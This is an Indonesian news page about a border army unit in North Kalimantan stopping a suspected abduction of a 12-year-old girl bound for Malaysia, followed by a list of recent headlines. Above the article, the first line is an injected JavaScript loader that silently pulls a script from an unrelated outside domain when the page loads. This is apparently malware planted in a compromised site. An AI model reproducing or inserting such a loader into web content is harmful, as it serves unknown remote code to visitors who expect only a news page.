(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kalimantan Utara

Satgas Pamtas Yonif 623/BWU Gagalkan Aksi Penculikan di Perbatasan Kaltara


KANALKALIMANTAN.COM, NUNUKAN – Satgas Pamtas Yonif 623/BWU (Bhakti Wira Utama) menangkap seorang laki-laki warga Sebuku, Nunukan, yang diduga menculik anak di bawah umur untuk dibawa ke Malaysia melalui Perbatasan RI-Malaysia.

Dalam rilisnya di Nunukan, Dansatgas Pamtas Yonif 623/BWU Letkol Inf Yordania mengatakan, setelah mendapat laporan, pihaknya bergerak cepat menyusuri Sebuku hingga Seimanggaris, Kalimantan Utara (Kaltara).

“Berdasar laporan warga Sebuku, pelaku diamankan bersama korban di pelabuhan speed Sei Ular, Nunukan,” katanya, Kamis (30/9/2020).

Dijelaskan dia, informasi penculikan tersebut didapat dari masyarakat Desa Bebanas bernama H Salim terkait dugaan penculikan warga desa Sebuku atas nama AM (12) pada Selasa (29/9/2020).

Keduanya diketahui akan menyeberang menuju Tawau, Malaysia, melalui Sebatik, Kalimantan Utara (Kaltara).

“Mereka akan menyeberang melalui Pelabuhan Speed Sungai Ular, selanjutnya proses hukumnya kami serahkan kepada pihak yang berwenang,” ujarnya.

Pelaku atas nama Muhammad Asri Bin Dahlan (19), bekerjaan sebagai buruh, beralamat Desa Bebanas RT 01 Kecamatan Sebuku, Kabupaten Nunukan.

Sementara korban adalah AM (12), perempuan, pelajar SD di Desa Bebanas RT 01 Kecamatan Sebuku, Kabupaten Nunukan, Kaltara.

Barang bukti yang diamankan adalah tas gendong warna hitam berisi pakaian, handphone merk Advan warna hitam beserta charger dan paspor atas nama Muhammad Asri Bin Dahlan.

“Tugas kami adalah mengamankan perbatasan dari tindakan ilegal atau perbuatan yang mengarah kepada tindak pidana,” sebutnya.

Adapun personel Satgas Pamtas Yonif 623/BWU Pos Salang yang berhasil mengamankan pelaku adalah Letda Inf Edy Sukatman, Serda Alfantri, Praka Makhali dan Pratu Lutfi Kartolo.

Kini, korban dan pelaku sudah dibawa ke Polsek Sebuku. Keduanya diterima langsung oleh Waka Polsek Sebuku Ipda Pol Marusaha Marpaung untuk dilakukan pemeriksaan lebih lanjut. (fatahillah awaluddin/suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

Pansus III DPRD Kotabaru Pelajari Tata Kelola Air Tangerang

KANALKALIMANTAN.COM, KOTABARU - Dalam rangka pembahasan Rancangan Peraturan Daerah (Raperda) tentang Pengelolaan Sumber Daya Air,… Read More

6 jam ago

Kuasa Hukum Keluarga Juwita Siap Tambah Barang Bukti dan Saksi

KANALKALIMANTAN.COM, BANJARBARU - Tim kuasa hukum keluarga Juwita berencana menambah barang bukti dan saksi tambahan… Read More

7 jam ago

Peringati Hari Malaria Sedunia, Ini Pesan Wabup Banjar

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi membuka pertemuan koordinasi lintas sektor… Read More

8 jam ago

Tim Kuasa Hukum Keluarga Juwita Soroti Dua Pasal Dakwaan

KANALKALIMANTAN.COM, BANJARBARU - Advokasi Untuk Keadilan (AUK) Juwita mendampingi pihak keluarga menghadiri proses pelimpahan perkara… Read More

13 jam ago

Odmil III-15 Banjarmasin Limpahkan Kasus Juwita ke Pengadilan Militer

KANALKALIMANTAN.COM, BANJARBARU - Oditurat Militer (Odmil) III-15 Banjarmasin melimpahlan perkara kasus pembunuhan berencana yang dilakukan… Read More

16 jam ago

Disogok, Tiga Polisi Polres Samarinda ‘Bebaskan’ Tahanan Nyabu di Sel

KANALKALIMANTAN.COM, SAMARINDA – Tiga oknum polisi diduga membiarkan narkoba masuk ke ruang tahanan Mapolres Samarinda,… Read More

16 jam ago